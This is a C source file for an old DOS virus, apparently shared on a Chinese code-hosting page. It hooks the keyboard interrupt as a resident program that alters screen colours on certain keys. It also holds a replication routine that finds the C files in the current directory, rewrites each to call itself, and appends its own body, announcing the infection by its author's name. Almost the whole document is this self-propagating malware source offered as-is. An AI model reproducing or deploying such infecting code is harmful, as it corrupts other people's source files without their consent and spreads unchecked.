📄 hotkey.c
字号:
#include<stdio.h>
#include<dir.h>
#include <dos.h>
extern void far * _heapbase;
void interrupt key();
void interrupt (*oldkey)();
int active=0;
int far *buf=0xb8000000;
char far *shift_key=0x00400017;
main(void)
{
oldkey = getvect(0x09);
setvect(0x09, key);
keep(0,FP_SEG(_heapbase)-_psp);
virus();
}
void interrupt key()
{
int i;
char c;
c=inport(0x60);
oldkey();
if(active)
return;
active=1;
if((*shift_key&0x0f)==0x08) //alt
for(i=0;i<=2047;i++)
{
*buf&=0x00ff;
*buf|=0xc000;
buf++;
}
else if(c==0x3d) //F3
for(i=0;i<=2047;i++)
{
*buf&=0x00ff;
*buf|=0x0700;
buf++;
}
active=0;
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="HOTKEY.C";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -